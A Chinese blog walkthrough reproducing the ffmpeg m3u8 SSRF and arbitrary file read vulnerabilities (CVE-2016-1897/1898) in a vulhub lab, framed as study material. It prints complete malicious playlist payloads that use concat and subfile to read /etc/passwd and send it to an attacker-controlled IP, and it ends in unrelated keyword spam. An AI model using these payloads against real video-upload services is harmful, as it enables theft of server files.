千家信息网

ffmpeg任意文件读取漏洞SSRF的示例分析

发表于:2024-10-10 作者:千家信息网编辑
千家信息网最后更新 2024年10月10日,小编给大家分享一下ffmpeg任意文件读取漏洞SSRF的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!仅供参考学习
千家信息网最后更新 2024年10月10日ffmpeg任意文件读取漏洞SSRF的示例分析

小编给大家分享一下ffmpeg任意文件读取漏洞SSRF的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

仅供参考学习使用

ffmpeg 任意文件读取漏洞 / SSRF 漏洞 (CVE-2016-1897/CVE-2016-1898)

Port : 8090

FFmpeg 是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。功能非常强大,是每个视频网站必不可少的多媒体文件处理程序。


在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒体 m3u8 文件处理不当,可导致 SSRF 漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用 FFMpeg 进行处理时会触发该漏洞。


这个漏洞有两个 CVE 编号,分别是 CVE-2016-1897 和 CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897 只能读取文件的第一行,而 CVE-2016-1898 可以读取文件任意行,原理基本一样。

影响版本

FFmpeg 2.8.x < 2.8.5FFmpeg 2.7.x < 2.7.5FFmpeg 2.6.x < 2.6.7FFmpeg 2.5.x < 2.5.10

这个漏洞主要涉及 ffmpeg 对 m3u8文件的处理不当导致的,具体的原理部分不过多赘述,可以参考如下连接:

原理

  • http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html

  • http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

  • https://habr.com/en/company/mailru/blog/274855/

漏洞环境

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub

运行测试环境:

docker-compose  up  -d

运行完成后,访问对应的 URL 端口,可以看到有个视频上传的接口

查看后台的 php 源码,实际上只是借用了 ffmpeg -i 这个命令,因此实际上如果没有部署 docker 镜像,可以之际安装 ffmpeg 软件,通过 ffmpeg 转换即可。

漏洞复现

我们首先构造一个恶意的 m3u8 的文件(用记事本编写,保存为.m3u8后缀):

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://X.X.X.X:9999/test.txt #EXT-X-ENDLIST
各参数说明: #EXTM3U 标签是 m3u8 的文件头,开头必须要这一行#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1#EXTINF:10.0, 表示该一段 TS 流文件的长度#EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。服务端监听端口:

既然可以请求外部数据,因此可以尝试 SSRF 带外。通过查阅资料,发现 ffmpeg 内部有一个 concat 函数,因此我们可以将内部数据通过 concat 拼接 OOB。

如果直接使用 concat 拼接,只会正常请求,因此我们需要一些小技巧,将本地文件带出来。

  • 首先,我们需要在 web 服务器上创建一个 error.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。

  • 其次,我们再创建一个恶意的 m3u8 文件(或者 avi、mp4 等后缀),文件内容通过 concat 拼接本地文件 /etc/passwd。

  • 最后,我们上传这个恶意的 m3u8 文件。参考文件内容如下:

error.txt

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://X.X.X.X:9999/?

upload.m3u8

#EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd #EXT-X-ENDLIST

web 服务器部署 error.txt:

上传恶意的 m3u8 文件:

同时,VPS 监听 9999 端口:

注意:

  • 以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。尝试使用 vim 创建时,一直复现失败。

  • 特地鸣谢如下链接作者提供的解决方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/

  • 因为上传之后,后端会一直进行转码,进程会卡死,页面无响应。需要进入 docker 中,手动 kill ffmpeg 进程。

可以发现以上的操作方式,只能将 /etc/passwd 数据中的第一行带外出来,但是后面的内容还是没有读出来,因此我们借助其他函数进行进一步利用。ffmpeg 还提供了 subfile 函数,其中 Start 后是开始截取的偏移量,以字节为单位,end 是结束的偏移量。

只需要修改恶意的 upload.m3u8 文件

#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd#EXT-X-ENDLIST

在逐渐增加 subfile 偏移量的测试过程中,发现超过一定长度后,数据读取部分不再增加。猜测可能和 URL 长度或者和换行符有关。

在不断测试的过程中,最终发现,与 URL 长度,m3u8 请求 URL 都无关系,也没有 32 字节的限制。实际上 concat 连接 URL 时是不能包含换行符的。/etc/passwd 文件存储过程中换行符 \n 是占一个字符的,所以无论是通过 file 协议,还是 subfile 切片,只要是读取到 \n 则中断,后面的内容无法输出。

按照这个思路,我们能只需要通过 subfile 读取文件时,跳过 \n 符号,不断根据返回的数据进行调试,最终可以读取到完整的数据。以如下的 /etc/passwd 的文件为例,附上 payload 参考:

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falsemessagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd#EXT-X-ENDLIST

最终读出所有数据:

以上是"ffmpeg任意文件读取漏洞SSRF的示例分析"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

文件 漏洞 内容 数据 恶意 长度 参考 处理 测试 一行 函数 原理 实际 实际上 换行符 环境 端口 篇文章 视频 过程 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 服务器免费时间 华为通用软件开发实习面试面经 数据库中如何输入备注型文本 税控服务器管理系统怎么安装 常州运行智慧医院软件开发 网络安全 宣讲资料 数据库数据复制连接怎么编程 三五网络安全 电力监控系统网络安全告警 浙江手机软件开发服务 从服务器下载到本地的命令 软件开发第三方费用是什么 连云港网络安全哪家强 数据库读写分库是什么意思 连线网络技术股份有限公司 土木工程软件开发工作 提示 无法连接到远程服务器 不同数据库的检索策略为何不同 公司软件开发分几步 网络安全文明上网草稿 蓝山市启动网络安全宣传 影片服务器 沈阳一修鸽网络技术有限公司 福州节能软件开发多少钱 邮件服务器如何改装 数据库概念 pdf 下列属于网络安全产品的是 设计合理的企业网络安全解决方案 t软件开发用哪种语言 linux数据库如何学习技术
0